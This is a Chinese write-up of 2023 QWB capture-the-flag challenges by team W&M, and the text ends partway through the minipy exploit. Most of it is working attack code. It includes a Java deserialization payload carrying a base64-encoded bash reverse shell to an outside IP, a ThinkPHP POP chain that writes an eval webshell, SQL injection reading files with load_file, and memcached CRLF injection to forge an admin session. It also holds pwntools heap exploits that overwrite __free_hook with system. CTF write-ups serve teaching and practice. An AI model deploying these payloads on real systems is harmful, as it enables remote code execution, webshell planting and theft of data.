强网杯 2023 By W&M

·
Write - Up no tag December 18, 2023
  • WEB
    • easyphp
    • happygame
    • thinkshop
    • thinkshopping
  • PWN
    • chatting
    • minipy
    • warmup23
    • simpleinterpreter
  • Reverse
    • Ezre
    • UNNAME
  • MISC
    • Happy Chess
    • 谍影重重3.0
    • Pyjail ! It's myFILTER !!!
    • Pyjail ! It's myRevenge
    • 谍影重重2.0
    • easyfuzz
    • Wabby Wabbo Radio
  • 强网先锋
    • helloSpring
    • ezre
    • 找到PNG了吗
    • 石头剪刀布
    • SpeedUp
    • ez_fmt
    • Babyre

WEB

easyphp

1.题目给出了phpinfo,给出了/var/www/html/b3debcdfb73572a549ac64da1c830d72这个路径可以下载到xcache的mmap缓存文件。

/challenge.php需要提交一个key。

访问challenge.php后下载mmap文件,strings可以得到字符串。

c6d4c9861179fe161d0233e3570998dc
_GET
strlen
wrong answer
str_split
implode
cat /flag
system

2.下载到的缓存文件,里面有很多链表地址和函数(字节码回调函数,没有符号,readelf看不到,但是p/i 0xxxx看一下都是endbr64指令)地址,不能直接加载。

修改源码。编辑xcache\mod_cacher\xc_cacher.c 加上固定地址加载代码,使得链表可以正常加载。

      #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>
#include <sys/mman.h>
void mymmap(){
int file1 = open("/tmp/clean_b3", O_RDONLY);
    size_t ro_addr = 0x7fb5ed09c000;
    size_t rw_addr = 0x7fb5ed09c000 + 0x4000000;
    size_t ro_size=0x4000000;
    int mmap1_result = mmap(ro_addr, ro_size, PROT_READ, MAP_PRIVATE| MAP_FIXED, file1, 0);
    printf("mmap1_result: %d\n", mmap1_result);
    int mmap2_result = mmap(rw_addr, ro_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED, file1, 0);
    printf("mmap2_result: %d\n", mmap2_result);
}
int is_replaced_1=0;
在这个函数里面加 xc_php_find_unlocked:
if(is_replaced_1 == 0){
    is_replaced_1 = 1;
    TRACE("1: xc_php_find_unlocked force return fake value %s","");
    TRACE("1: size:%d",php->size);
    mymmap();
    char* ptr = 0x7fb5f10bc1e8;
    return ptr;
}else{
    TRACE("1: xc_php_find_unlocked have already faked, do not fake again %s","");
}

通过函数指针,因为我们搭建了完全一样的libphp,所以可以推算libphp基址。替换函数指针,让字节码可以正常加载。

(找了一晚上指针。。。我的建议是,关闭靶机,重开,只访问challenge.php不访问info.php,这样得到的mmap是最纯净的)

本地关闭aslr方便调试。

#找mmap基址
from pwn import *
filename = "clean_b3"
with open(filename,"rb") as f:
    f.seek(0x20230)
    ptr = u64(f.read(8))
    # sanity check
    f.seek(0x20290)
    ptr2 = u64(f.read(8))
    assert ptr2 > 0x7f0000000000 and ptr2 < 0x7fffffffffff

delta = 0x20290
root = ptr - delta
print("ptr: " + hex(ptr))
print("delta: " + hex(delta))
print("ro_root: " + hex(root))
assert hex(root).endswith("000")
# 远程开启了 xcache read only protection,因此同一个文件被mmap了两次,一个只读的和一个读写的。
real_rw_root = root + 0x4000000
print("rw_root: " + hex(real_rw_root))
#用函数指针后3位地址找libphp的基址,然后把mmap文件里面远程的函数指针全部替换成本地的函数指针
import re
from pwn import *

remote_file = open("./clean_b3","rb")
remote_data = remote_file.read()
local_file = open("./result3","rb")
local_data = local_file.read()

remote_regex = br'.{3}\xff\xb5\x7f\x00\x00'
local_regex = br'.{3}\xf6\xff\x7f\x00\x00'
findall= re.findall(remote_regex,remote_data)
findall = list(map(u64,findall))
findall_pretty = list(set(list(map(hex,findall))))
print(findall_pretty)

findall_local = re.findall(local_regex,local_data)
findall_local = list(map(u64,findall_local))
findall_local_pretty = list(set(list(map(hex,findall_local))))
print(findall_local_pretty)

for entry in findall_local_pretty:
    for remote_entry in findall_pretty:
        # if the last 3 bytes are the same
        if entry[-3:] == remote_entry[-3:]:
            print("match: ",entry,remote_entry)

'''
match:  0x7ffff6d7ebe0 0x7fb5ff0ebbe0
match:  0x7ffff66d93c0 0x7fb5ff0eb3c0
match:  0x7ffff6def080 0x7fb5ff15c080
match:  0x7ffff6df1cf0 0x7fb5ff15ecf0
'''
local_entry = 0x7ffff6d7ebe0
remote_entry = 0x7fb5ff0ebbe0
# local have aslr disabled.
local_base = 0x7ffff6af4000
local_delta = local_entry - local_base
print("local delta: ",hex(local_delta))

remote_base = remote_entry - local_delta
print("remote base: ",hex(remote_base))

替换mmap文件里面的函数指针

import subprocess
from pwn import *

data = open("clean_b3","rb").read()

remote_libphp_base = 0x7fb5fee61000 # changeme
local_libphp_base = 0x7ffff76f6000 # changeme 或者如果你关闭了aslr,理论上会得到和这个一样的本地地址

remote_regex = br'.{3}\xff\xb5\x7f\x00\x00' # changeme
import re

def repl(m):
    contents = m.group(0)
    remote_ptr = u64(contents)
    local_ptr = remote_ptr - remote_libphp_base + local_libphp_base
    print(f"replace {hex(remote_ptr)} with {hex(local_ptr)}")
    return p64(local_ptr)

data = re.sub(remote_regex, repl, data)

with open("/tmp/clean_b3_mod","bw") as f:
    f.write(data)

3.本地搭建完全一样的php版本(差一点都不行,必须完全一样,直接用它那个deb.sury.org源下载,因为有函数指针),并且安装xdebug,自己编译

FROM ubuntu:22.04

ENV TZ=Asia/Shanghai \
    DEBIAN_FRONTEND=noninteractive
RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list && sed -i "s/http:\/\/security.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list && \
apt update && apt install -y software-properties-common && add-apt-repository ppa:ondrej/php -y && apt install -y php5.6 php5.6-cli
RUN apt install -y php5.6-dev
ADD ./xdebug-2.5.5 /tmp/xdebug
RUN cd /tmp/xdebug \
    && phpize \
    && ./configure --enable-xdebug \
    && make -j$(nproc) \
    && make install \
    && cd /
ADD ./xcache /tmp/xcache
RUN cd /tmp/xcache \
    && phpize \
    && ./configure --enable-xcache --enable-xcache-disassembler \
    && make -j$(nproc) \
    && make install \
    && cd /
COPY xcache.ini /tmp/
COPY challenge.php /var/www/html/
COPY info.php /var/www/html/
RUN cat /tmp/xcache.ini >> /etc/php/5.6/apache2/php.ini && touch /var/www/html/b3debcdfb73572a549ac64da1c830d72 && chmod 777 /var/www/html/b3debcdfb73572a549ac64da1c830d72
# RUN echo 'extension = xcache.so' > /etc/php/5.6/mods-available/xcache.ini
RUN echo 'extension = xcache.so' > /etc/php/5.6/apache2/conf.d/20-xcache.ini
RUN echo 'zend_extension=/usr/lib/php/20131226/xdebug.so' > /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo '[Xdebug]' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.auto_trace=On' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.collect_params=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.collect_return=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.collect_assignments=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.collect_vars=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN ln -sf /proc/self/fd/1 /var/log/apache2/access.log && \
    ln -sf /proc/self/fd/1 /var/log/apache2/error.log
CMD apachectl -D FOREGROUND -X

docker run --name dump --network=host --privileged --rm -it -v /tmp/clean_b3_mod:/tmp/clean_b3:ro test1

4.运行后,访问本地/challenge.php,则会被替换成题目给出的字节码。

因为xcache里面只有字节码,所以无法导出php源码,调试比较困难。但是xdebug可以正常工作。

利用xdebug trace日志,多次输入测试得知,用户输入key长度需要是32,key的前14个字节会被异或一个key,后18个字节会被异或另一个key,然后与strings看到的字符串c6d4c9861179fe161d0233e3570998dc比较。(字符串会变化)

如果比较正确会system cat /flag。

TRACE START [2023-12-16 17:53:20]
    0.0000     232096   -> {main}() /var/www/html/challenge.php:0
    0.0001     232440     -> strlen(string(32)) /var/www/html/challenge.php:5
    0.0001     232440      >=> 32
    0.0001     232440     -> str_split(string(32)) /var/www/html/challenge.php:9
    0.0001     238176      >=> array (0 => 'O', 1 => '\032', 2 => 'H', 3 => '\030', 4 => 'O', 5 => '\025', 6 => '\024', 7 => '\032', 8 => '\035', 9 => '\035', 10 => '\033', 11 => '\025', 12 => 'J', 13 => 'I', 14 => '�', 15 => '�', 16 => '�', 17 => '�', 18 => '�', 19 => '�', 20 => '�', 21 => '�', 22 => '�', 23 => '�', 24 => '�', 25 => '�', 26 => '�', 27 => '�', 28 => '�', 29 => '�', 30 => '�', 31 => '�')
    0.0001     238472     -> implode(array(32)) /var/www/html/challenge.php:16
    0.0001     241792      >=> 'c6d4c9861179fe161d0233e3570998dc'
    0.0001     238552     -> system(string(9)) /var/www/html/challenge.php:17
    0.0014     238664      >=> 'flag'
    0.0014     238552    >=> 1
    0.0015       8368
TRACE END   [2023-12-16 17:53:20]

异或是单字节异或固定key,本地通过日志读一下异或后implode的返回值,逆或一次得到key即可。

经过测试是,每次开启靶机,32位长度的字符串会变化。

import requests


rs = requests.Session()

data = b'a'*32
r = rs.get('http://127.0.0.1/challenge.php', params={'key': data})

import subprocess
output = subprocess.check_output("docker exec -it dump bash -c 'cat /tmp/trace*'",shell=True)
import re

regex = re.compile(rb" >=> '(.{32})'")
matched = regex.findall(output)
key_ = matched[0]

key = b''
for i in range(len(key_)):
    key += bytes([key_[i] ^ ord('a')])
print(key)

cipher = b'936998e2dbec20ad5a37dc8f06f7d672'
xored_cipher = b''
for i in range(len(cipher)):
    xored_cipher += bytes([cipher[i] ^ key[i]])
print(xored_cipher)

r2 = rs.get('http://eci-2ze245ak3rvctqp48pe0.cloudeci1.ichunqiu.com/challenge.php', params={'key': xored_cipher})
print(r2.text)

happygame

grpc_cli cc6

$ echo "{'serializeData': 'rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDOHhNekl1TWpNeUxqZ3lMalUwTHpJek16TWdNRDRtTVFvPX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg='}" | grpc_cli call 8.147.133.72:40518 ProcessMsg --json_input

thinkshop

开局还有个zz东西,就是你的username不是admin

admin=1&password=123456

进入后台,之后就是5.0.x的一条反序列化链子

POST /public/index.php/index/admin/do_edit.html HTTP/1.1
Host: eci-2zegp2dwag3hcmblf44t.cloudeci1.ichunqiu.com
Content-Length: 2500
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2zegp2dwag3hcmblf44t.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://eci-2zegp2dwag3hcmblf44t.cloudeci1.ichunqiu.com/public/index.php/index/admin/goods_edit/id/1.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1700560980,1701446760,1702540036,1702548089; PHPSESSID=vv0dcps9gjic3qhnooqk9v36j2
Connection: close

id=1&name=fake_flag&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=https%3A%2F%2Fi.postimg.cc%2FFzvNFBG8%2FR-6-HI3-YKR-UF-JG0-G-N.jpg&data`%3d%27YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6NTp7czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YTo3OntpOjA7czo3OiJnZXRBdHRyIjtpOjE7czo0OiJpbmZvIjtpOjI7czo1OiJlcnJvciI7aTozO3M6NzoiY29tbWVudCI7aTo0O3M6ODoicXVlc3Rpb24iO2k6NTtzOjk6ImhpZ2hsaWdodCI7aTo2O3M6Nzoid2FybmluZyI7fXM6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086MzA6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlZCI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NDp7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO3M6MDoiIjtzOjQ6InBhdGgiO3M6NzU6InBocDovL2ZpbHRlci93cml0ZT1zdHJpbmcucm90MTMvcmVzb3VyY2U9c3RhdGljLzw%2FY3VjIEByaW55KCRfVFJHWyduJ10pOyA%2FPiI7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjY6IgAqAHRhZyI7czo0OiJ4aWdlIjt9fX1zOjk6IgAqAGFwcGVuZCI7YToxOntzOjQ6InRlc3QiO3M6ODoiZ2V0RXJyb3IiO31zOjc6IgAqAGRhdGEiO2E6MTp7czo3OiJwYW5yZW50IjtzOjQ6InRydWUiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjU6e3M6NToibW9kZWwiO2I6MDtzOjE1OiIAKgBzZWxmUmVsYXRpb24iO2I6MDtzOjk6IgAqAHBhcmVudCI7TjtzOjg6IgAqAHF1ZXJ5IjtPOjE0OiJ0aGlua1xkYlxRdWVyeSI6MTp7czo4OiIAKgBtb2RlbCI7TzoyMDoidGhpbmtcY29uc29sZVxPdXRwdXQiOjI6e3M6OToiACoAc3R5bGVzIjthOjc6e2k6MDtzOjc6ImdldEF0dHIiO2k6MTtzOjQ6ImluZm8iO2k6MjtzOjU6ImVycm9yIjtpOjM7czo3OiJjb21tZW50IjtpOjQ7czo4OiJxdWVzdGlvbiI7aTo1O3M6OToiaGlnaGxpZ2h0IjtpOjY7czo3OiJ3YXJuaW5nIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo0OntzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6NDoicGF0aCI7czo3NToicGhwOi8vZmlsdGVyL3dyaXRlPXN0cmluZy5yb3QxMy9yZXNvdXJjZT1zdGF0aWMvPD9jdWMgQHJpbnkoJF9UUkdbJ24nXSk7ID8%2BIjtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7fXM6NjoiACoAdGFnIjtzOjQ6InhpZ2UiO319fX1zOjExOiIAKgBiaW5kQXR0ciI7YToxOntzOjI6Inh4IjtzOjI6Inh4Ijt9fXM6ODoiACoAbW9kZWwiO3M6NDoidGVzdCI7fX19fQ%3D%3D%27%09where%09`id`%3d1%23a=1&data=%23+FLAG%0D%0A%0D%0A%23%23+%E8%AF%B7%E7%9C%8B%E7%9C%8B%E8%BF%99%E4%B8%AAFLAG%E5%A5%BD%E7%9C%8B%E5%90%97%0D%0A%E5%86%8D%E4%BB%94%E7%BB%86%E4%BB%94%E7%BB%86%E6%83%B3%E4%B8%80%E4%B8%8B%E8%BF%99%E4%B8%AAflag%E6%80%8E%E4%B9%88%E6%89%8D%E8%83%BD%E6%8B%BF%E5%88%B0%E5%91%A2%0D%0A%0D%0A

img

img

img

img

遍历post的key。没限制。直接注入任意data

img

img

这里反序列化

打个exp

<?php
namespace think\cache\driver;

class File {
    protected $options = [];
    protected $tag;
    public function __construct() {
        $this->tag = 'xige';
        $this->options = [
            'cache_subdir'  => false,
            'prefix'        => '',
            'path' => 'php://filter/write=string.rot13/resource=static/<?cuc @riny($_TRG[\'n\']); ?>', // 因为 static 目录有写权限
            'data_compress' => false
        ];
    }
}

namespace think\session\driver;
use think\cache\driver\File;

class Memcached {
    protected $handler;
    function __construct() {
        $this->handler=new File();
    }
}

namespace think\console;
use think\session\driver\Memcached;

class Output {
    protected $styles = [];
    private $handle;
    function __construct() {
        $this->styles = ["getAttr", 'info',
            'error',
            'comment',
            'question',
            'highlight',
            'warning'];
        $this->handle = new Memcached();
    }
}

namespace think\db;
use think\console\Output;

class Query {
    protected $model;
    function __construct() {
        $this->model = new Output();
    }
}

namespace think\model\relation;
use think\console\Output;
use think\db\Query;

class HasOne {
    public $model;
    protected $selfRelation;
    protected $parent;
    protected $query;
    protected $bindAttr = [];
    public function __construct() {
        $this->query = new Query("xx", 'think\console\Output');
        $this->model = false;
        $this->selfRelation = false;
        $this->bindAttr = ["xx" => "xx"];
    }}

namespace think\model;
use think\console\Output;
use think\model\relation\HasOne;

abstract class Model {
}

class Pivot extends Model {
    public $parent;
    protected $append = [];
    protected $data = [];
    protected $error;
    protected $model;

    function __construct() {
        $this->parent = new Output();
        $this->error = new HasOne();
        $this->model = "test";
        $this->append = ["test" => "getError"];
        $this->data = ["panrent" => "true"];
    }
}

namespace think\process\pipes;
use think\model\Pivot;

class Windows {
    private $files = [];
    public function __construct() {
        $this->files=[new Pivot()];
    }
}

$obj = new Windows();
$payload = serialize([$obj]);
echo base64_encode($payload);

修改数据->update data字段。内容是序列化数据。并且get的时候有限制。序列化字符得是是a:开头->访问商品详情触发反序列化。写static webshell

thinkshopping

服务器mysql未做设置,可以任意文件读取,那么我们在admin登录后直接读取flag文件即可。

POST /public/index.php/index/admin/do_edit.html HTTP/1.1
Host: eci-2ze0mwyalswv7z0u3m1h.cloudeci1.ichunqiu.com
Content-Length: 488
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze0mwyalswv7z0u3m1h.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://eci-2ze0mwyalswv7z0u3m1h.cloudeci1.ichunqiu.com/public/index.php/index/admin/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,mg;q=0.7
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1701446760,1702540036,1702548089,1702783234; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1702786165; PHPSESSID=nucuu7f9vk71ojeseih8eropo4
Connection: close

id=1&name=fake_flag&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=https%3A%2F%2Fi.postimg.cc%2FFzvNFBG8%2FR-6-HI3-YKR-UF-JG0-G-N.jpg&data`%3dload_file(%27/fffflllaaaagggg%27)%09where%09`id`%3d1%23a=1&data=%23+FLAG%0D%0A%0D%0A%23%23+%E8%AF%B7%E7%9C%8B%E7%9C%8B%E8%BF%99%E4%B8%AAFLAG%E5%A5%BD%E7%9C%8B%E5%90%97%0D%0A%E5%86%8D%E4%BB%94%E7%BB%86%E4%BB%94%E7%BB%86%E6%83%B3%E4%B8%80%E4%B8%8B%E8%BF%99%E4%B8%AAflag%E6%80%8E%E4%B9%88%E6%89%8D%E8%83%BD%E6%8B%BF%E5%88%B0%E5%91%A2%0D%0A%0D%0A

在thinkphp的cache->find()方法中有获取缓存的点位

img

此处肯定是调用了memcache的get指令,并且存在CRLF注入,$key是think:shop.admin|test

test是我们拼贴(username)的地方。

这里比较玄学,用抓包的就可以,自己构造的就不可以,唯一不同的只有时间戳,说明时间戳有点讲究。

1222%00%0d%0aset think:shop.admin|1 0 1702802967 101%0d%0aa:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"e10adc3949ba59abbe56e057f20f883e";}%0d%0a

img

img

从memcacheget的$key为think:shop.admin|1 1是我们传入的用户名
找到https://www.freebuf.com/vuls/328384.html
memcached的问题。crlf。

本地设置一个admin。登录抓set memcached的包

最后构造
username=1222%00%0d%0a%73%65%74%20%74%68%69%6e%6b%3a%73%68%6f%70%2e%61%64%6d%69%6e%7c%31%20%34%20%31%37%30%32%38%30%32%39%36%37%20%31%30%31%0d%0a%61%3a%33%3a%7b%73%3a%32%3a%22%69%64%22%3b%69%3a%31%3b%73%3a%38%3a%22%75%73%65%72%6e%61%6d%65%22%3b%73%3a%35%3a%22%61%64%6d%69%6e%22%3b%73%3a%38%3a%22%70%61%73%73%77%6f%72%64%22%3b%73%3a%33%32%3a%22%65%31%30%61%64%63%33%39%34%39%62%61%35%39%61%62%62%65%35%36%65%30%35%37%66%32%30%66%38%38%33%65%22%3b%7d%0d%0aquit&password=1

然后username=1&password=123456登录

登录之后。后台sql注入load_file

id=4&name=fake_flag&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=https%3A%2F%2Fi.postimg.cc%2FFzvNFBG8%2FR-6-HI3-YKR-UF-JG0-G-N.jpg&data`%3dload_file(%27/fffflllaaaagggg%27)%09where%09id%3d4%23&data=%23

img

PWN

chatting

from pwn import*
import random
import string
context.log_level = "debug"
def add(username):
    p.sendlineafter(":","add")
    p.sendlineafter("Enter new username:",username) 
def switch(ur):
    p.sendlineafter(":","switch")
    p.sendlineafter("Enter username to switch to: ",ur)
def delete(ur):
    p.sendlineafter(":","delete")
    p.sendlineafter("Enter username to delete: ",ur)
def message(ur,size,payload):
    p.sendlineafter(":","message")
    p.sendlineafter("To:",ur)
    p.sendlineafter("Message size: ",str(size))
    p.sendafter("Content: ",payload)
def listuser():
    p.sendlineafter(":","listuser")
def Read():
    p.sendlineafter(":","read")
# p = process("./chatting")
p = remote("101.200.122.251",14509)
elf = ELF("./chatting")
libc = elf.libc
p.sendlineafter("username","aaaa")
userList = ["aaaa"]
func_list = ["add","delete","switch","message","read","listuser"]
x = string.ascii_letters + "0123456789"
x = list(x)
def fuzz(num):
    for i in range(num):
        func = random.choice(func_list)
        if func == "switch" and len(userList) != 0 :
            p.sendlineafter(":",func)
            ur = random.choice(userList)
            p.sendlineafter("Enter username to switch to: ",ur)
            print("switch('{}')".format(ur))
        elif func == "add":
            p.sendlineafter(":",func)
            # with open("/dev/urandom", "rb") as f:
            random_length = random.randint(1, 10)
            random_chars = [random.choice(x) for _ in range(random_length)]
            username = ''.join(random_chars)
            # print(username)
            p.sendlineafter("Enter new username:",username)
            userList.append(username)
            print("add('{}')".format(username))
                # f.close()
        elif func == "delete" and len(userList) != 0 :
            p.sendlineafter(":",func)
            ur = random.choice(userList)
            p.sendlineafter("Enter username to delete: ",ur)
            print('delete("{}")'.format(ur))
            userList.remove(ur)
        elif func == "message" and len(userList) != 0:
            p.sendlineafter(":",func)
            size = random.randint(1, 0x200)
            random_chars = [random.choice(x) for _ in range(size)]
            payload = ''.join(random_chars)
            ur = random.choice(userList)
            p.sendlineafter("To:",ur)
            p.sendlineafter("Message size: ",str(size))
            p.sendafter("Content: ",payload)
            print("message('{}',{},'{}')".format(ur,str(size),payload))
        elif func == "listuser":
            p.sendlineafter(":",func)
            print("listuser()")
        elif func == "read":
            p.sendlineafter(":",func)
            print("")
for i in range(14):
    add(chr(ord('a') + i))
    message(chr(ord('a') + i),0x70,'c')
add("X")
add('S')
switch('S')
add('S')
switch('S')
delete("S")
message('S',0x70,'a')
message('S',0x70,'b')
message('S',0x70,'c')
Read()
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00')) - 0x3ebc63
print("libc_base: " + hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
message("X",0x70,'c')
for i in range(7):
    delete(chr(ord('a') + i + 1))
delete("X")
delete("a")
delete("S")
message("k",0x70,'c')
message("k",0x70,'c')
message("k",0x70,'c')
message("k",0x70,'c')
message("k",0x70,'c')
message("k",0x70,'c')
message("k",0x70,'c')
message("k",0x70,'c')
message("k",0x70,p64(free_hook))
message("l",0x70,"/bin/sh")
message("k",0x70,p64(free_hook))
message("k",0x70,p64(libc_base + libc.sym["system"]))

# attach(p)
delete("l")
# delete("S")
p.interactive()

minipy

from pwn import *

# sh = process('./minipy')
sh = remote('120.24.69.11', 18888)
context.log_level = "debug"
context.arch = "amd64"
TYPE_STR = 1
TYPE_NUM = 2
TYPE_LIST = 3
TYPE_DICT = 4
TYPE_FUNCTION = 5
TYPE_NONE = 6
TYPE_MODULE = 7
TYPE_DATA = 8
TYPE_CLASS = 9
TYPE_PTR = 10


def sendcmd(cmd):
    sh.sendlineafter(">>> ", cmd)


def gc(c):
    sendcmd("x = ['x' * {}]".format(c))


def calc_mov_string(buf):
    lst = []
    zero_count = 0
    for i in buf:
        if i == '\x00':
            zero_count += 1
        else:
            if zero_count > 0:
                lst.append(zero_count)
                zero_count = 0
                lst.append(i)
            else:
                lst[len(lst) - 1] += i
    if zero_count > 0:
        lst.append(zero_count)
    return ' + '.join(
        ["chr(0) * {}".format(i) if isinstance(i, int) else '"{}"'.format(i.replace('"', '\\"')) for i in lst])


sendcmd("chr")
sh.recvuntil('0x')
heap_addr = int(sh.recvuntil(' '), 16)
list_obj = heap_addr + 0x56d60
list_nodes = heap_addr + 0x489e0

log.success("heap_addr:\t" + hex(heap_addr))
log.success("list_obj:\t" + hex(list_obj))
log.success("list_nodes:\t" + hex(list_nodes))

gc(0x100000)
sendcmd("a = [1, [1] * 0x200]")
sendcmd("b = iter(a)")
sendcmd("a.pop()")
sendcmd("next(b)")
gc(0x100000)
sendcmd("pad1 = 'a' * 0x177")

'''
typedef struct MpList {
  int marked;
  int len;
  int cap;
  struct MpObj* nodes;
}MpList;

typedef struct MpObj{
  char type;
  MpValue value;
} MpObj;


typedef struct MpStr {
    int marked;
    int stype; /* string type, 1: memory; 0: static */
    int len;
    int hash;
    char *value;
} MpStr;

typedef struct MpData {
    int marked;
    size_t data_size;

    /* for iterator */
    long cur;
    long inc;
    long end;
    MpObj cur_obj;
    MpObj* (*next)();

    /* for gc */
    void   (*mark)();
    void   (*func_free)();

    /* meta functions */
